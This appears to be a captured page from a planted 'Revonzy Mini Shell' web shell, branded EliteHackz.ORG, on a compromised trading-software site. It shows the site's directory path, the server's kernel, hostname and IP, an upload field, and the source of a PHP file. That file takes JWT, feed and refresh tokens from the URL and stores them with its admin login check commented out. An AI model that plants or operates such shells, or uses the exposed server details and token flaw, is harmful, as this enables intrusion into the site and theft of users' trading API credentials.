Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/sharemarkettraders.com/software/logsuccess.php

<?php
require_once("lib/function.php");
$db = new login_function();

/*if(!isset($_SESSION['current_login_admin']))
{
    header("Location:index.php");
}*/

ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$mob_no_raw =   $_GET['mobile_no'];
$q_mark_position_index = strpos($mob_no_raw,"?");

//Mobile No Get
$var_mobile_no  =   substr($mob_no_raw,0,$q_mark_position_index);

$uri = $_SERVER['REQUEST_URI'];
$auth_token_position_index = strpos($uri,"auth_token");

$string =   substr($uri,$auth_token_position_index);

$token_data =   explode("&",$string);
$var_jwt_token =   $token_data[0];
$var_jwt_token =   str_replace("auth_token=","",$var_jwt_token);

$var_feed_token =   $token_data[1];
$var_feed_token =   str_replace("feed_token=","",$var_feed_token);

$var_refresh_token =   $token_data[2];
$var_refresh_token =   str_replace("refresh_token=","",$var_refresh_token);

    $var_login_date = 	date("Y-m-d");
   /* $var_mobile_no 	= 	$_GET['mobile_no'];
    $var_jwt_token 	= 	$_GET['auth_token'];
    $var_refresh_token 	= 	$_GET['refresh_token'];
    $var_feed_token  = $_GET['feed_token'];*/
    
    $exist = $db->get_login_token_exist($var_mobile_no);
    
    if($exist=="")
    {
        $private_api_key    =   $db->get_private_api_key_from_mobile_number($var_mobile_no);
        if($db->add_new_login_tokens($var_login_date,$var_mobile_no,$var_jwt_token,$var_refresh_token,$var_feed_token,$private_api_key))
        {
        		$succ_flag	=	1;
        		header("Location:user-dashboard.php?status=logsuccess");
        }
        else
        {
            header("Location:user-dashboard.php?status=logfail");
        }
    }
    else
    {
        $private_api_key    =   $db->get_private_api_key_from_mobile_number($var_mobile_no);
        
        if($db->update_login_tokens($var_login_date,$var_mobile_no,$var_jwt_token,$var_refresh_token,$var_feed_token,$private_api_key))
        {
        		$succ_flag	=	1;
        		header("Location:user-dashboard.php?status=logsuccess");
        }
        else
        {
            header("Location:user-dashboard.php?status=logfail");
        }
    }

?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4